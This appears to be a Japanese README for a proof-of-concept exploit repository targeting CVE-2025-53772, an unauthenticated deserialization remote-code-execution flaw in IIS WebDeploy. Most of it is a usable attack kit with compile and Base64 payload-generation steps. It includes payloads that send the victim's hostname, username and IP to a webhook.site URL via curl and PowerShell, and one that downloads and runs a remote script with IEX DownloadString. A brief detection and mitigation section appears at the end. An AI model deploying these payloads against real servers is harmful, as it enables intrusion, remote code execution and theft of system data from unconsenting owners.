CVE-2025-53772 - IIS WebDeploy RCE エクスプロイト

このリポジトリには、安全でない逆シリアル化による IIS WebDeploy のリモートコード実行 (RCE) 脆弱性 (CVE-2025-53772) の概念実証 (PoC) エクスプロイトが含まれています。

⚠️ 免責事項

このツールは、教育および許可されたセキュリティテストのみを目的としています。作者は、このソフトウェアの誤用または損害について一切責任を負いません。所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。

🔧 クイックセットアップ

1. ペイロードのカスタマイズ

poc.cs の 18〜19 行目のペイロードを編集して、対象となるアクションを指定します: csharp// Replace with your webhook URL and desired payload set.Add("cmd.exe"); set.Add("/c curl -X POST https://webhook.site/YOUR-WEBHOOK-ID -H "Content-Type: application/json" -d "{\"hostname\":\"%COMPUTERNAME%\",\"user\":\"%USERNAME%\",\"ip\":\"$(curl -s ifconfig.me)\",\"exploit\":\"CVE-2025-53772\",\"timestamp\":\"%DATE% %TIME%\"}"");

📋 ペイロードの例

情報収集 (推奨): csharpset.Add("powershell.exe"); set.Add("-Command "$hostname=$env:COMPUTERNAME; $user=$env:USERNAME; $ip=(Invoke-RestMethod -Uri 'https://ipinfo.io/ip' -UseBasicParsing); $body=@{hostname=$hostname;user=$user;ip=$ip;exploit='CVE-2025-53772';timestamp=(Get-Date)} | ConvertTo-Json; Invoke-RestMethod -Uri 'https://webhook.site/YOUR-WEBHOOK-ID' -Method Post -Body $body -ContentType 'application/json'"");

簡単なコマンド実行: csharpset.Add("cmd.exe"); set.Add("/c calc.exe"); // Opens calculator リバースシェル (上級者向け): csharpset.Add("powershell.exe"); set.Add("-Command "IEX (New-Object Net.WebClient).DownloadString('http://YOUR-SERVER/shell.ps1')\"");

2. エクスプロイトペイロードの生成

GitHub Action が PoC を自動的にコンパイルし、Base64 エンコードされたペイロードを生成します:

変更をプッシュして GitHub Action をトリガーしますリポジトリの Actions タブに移動します最新のワークフロー実行をクリックしますコンソール出力で生成されたペイロードを見つけます:

3. エクスプロイトを展開する生成された Base64 ペイロードを、脆弱な IIS WebDeploy エンドポイントに対して使用します: ペイロード展開の例

🎯 脆弱性の詳細

CVE ID: CVE-2025-53772

対象ソフトウェア: IIS WebDeploy (複数のバージョン) 脆弱性の種類: RCE につながる安全でない逆シリアル化攻撃ベクトル: リモート、認証不要深刻度: Critical

🛠️ 手動コンパイル (オプション)

GitHub Actions ではなくローカルでコンパイルしたい場合: bash# Windows with .NET Framework C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe poc.cs poc.exe > payload.txt

または Visual Studio を使用する場合

csc poc.cs poc.exe 📡 Webhook の設定

webhook.site にアクセスして、無料の Webhook URL を取得しますペイロード内の YOUR-WEBHOOK-ID を自分の一意の ID に置き換えます着信リクエストを監視して、エクスプロイトの実行結果を確認します

🔍 検出と緩和策

検出:

BinaryFormatter の逆シリアル化における異常なアクティビティを監視する IIS ワーカープロセスからの不審なプロセス生成を探す予期しない外部接続のネットワーク監視

緩和策:

IIS WebDeploy を最新のパッチ適用済みバージョンに更新する入力検証とサニタイズを実装する逆シリアル化タイプに許可リストを使用するネットワークのセグメンテーションと監視を展開する

📚 参考文献

CVE-2025-53772 の詳細 Microsoft セキュリティアドバイザリ NIST 脆弱性データベース

CVE-2025-53772-IIS-WebDeploy-RCE

人気